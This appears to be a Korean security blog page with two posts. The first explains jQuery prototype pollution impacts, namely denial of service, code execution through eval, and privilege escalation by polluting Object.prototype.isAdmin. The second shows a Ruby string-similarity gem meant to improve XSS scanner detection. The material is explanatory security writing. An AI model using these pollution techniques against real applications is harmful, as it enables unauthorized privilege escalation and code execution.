The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or  Object. In this case, the code fails and is likely to cause a denial of service. 
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.

2. Remote code execution
Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes  Object.prototype.someattr they are likely to be able to leverage this in order to execute code.

3. Property Injection
The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes  Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

RCE 부분을 보면 eval(someobject.someattr)이 사용되는 경우에 Object.prototype.someattr 이런 형태로 eval에서 사용하는 object의 프로토타입을 변경하여 공격자가 원하는 로직으로 코드를 실행할 수 있습니다.

Conclustion(Prototype chain)

솔직히 node에서도 이 개념이 동일한지는 모르겠습니다. 다만 Javascript에선 프로토타입끼리 연결되어 체인 구조를 가질 수 있는데 이를 잘 활용한다면 위의 eval에서 사용하는 직접적인 Object가 아니여도, 연쇄적인 프로토타입 변조를 통해서 접근할 수 있지 않을까 생각이 드네요(뇌피셜…ㅋㅋ)

Reference

https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
https://api.jquery.com/jquery.extend/
Share: | Coffee Me:

루비에서 string-similarity로 문자열 퍼센트로 비교하기(Comparing string-similarity percent in Ruby)

한 두달? 정도전에 루비 라이브러리중에 괜찮은거 하나 봐둔게 있었느데, 이제서야 글로 작성하네요.
문자열 비교 라이브러리인데, 매칭률을 퍼센트로 뽑을 수 있습니다. 활용처가 많을듯하여 메모해둡니다.


Install

$ gem install string-similarity

Code

require 'string/similarity'

p("foo bar : "+String::Similarity.cosine('foo', 'bar').to_s)
p("hangul hahwul : "+String::Similarity.cosine('hangul', 'hahwul').to_s)
p("test test : "+String::Similarity.cosine('foo', 'foo').to_s)
$ ruby test.rb
"foo bar : 0.0"
"hangul hahwul : 0.7216878364870323"
"test test : 1.0"

어디서 활용하려고?

우선 라이브러리를 찾게된 계기가 스캐너 개발 관련해서인데요, 스캔 시 공격코드로 입력된 문자열이 어느정도 동일하게 노출되는지를 파악하려다보니 이 라이브러리까지 오게되었습니다.
diff 자체의 기능 이외에도, 취약점 스캐너 계열에선 탐지율 향상에 조금 도움이 있을 것 같습니다.

reflected xss의 경우 공격 페이로드가 어떻게 노출되고 있는가에 따라서 정/오탐이 나뉠텐데, 이걸 단순 문자열 매칭으로 하면 탐지율이 많이 떨어집니다. 그래서 얼마나 유효한지를 점수를 두고, 특정 패턴이 나올때 높게주어 탐지율을 올릴 수 있는데, 이때 문자열 비교과정이 굉장히 귀찮습니다. 잘 활용하면 % 단위로 예를들어, 70% 이상인 경우에 취약으로만 주어도, 이전에 놓쳐진 페이로드들도 많이 잡히지 않을까 싶습니다. 이러한 규칙들을 여러가지로 중첩하면 분명 이전보다 탐지율 측면에선 이득이지 않을까 싶습니다.

또 하나 생각났던건 요청에 따른 페이지의 차이? 를 구해서 흐름을 바꾸거나 결과를 제어할 수 있는 의미있는 파라미터들을 걸러내는데 쓰일 수 있을 것 같습니다. 결국 진단에서 쓸모있는 파라미터, 쓸모없는 파라미터를 빨리 식별하는 것도 중요한데(삽질 방지..) 조금이나마 도움되지 않을까 싶습니다.
Share: | Coffee Me: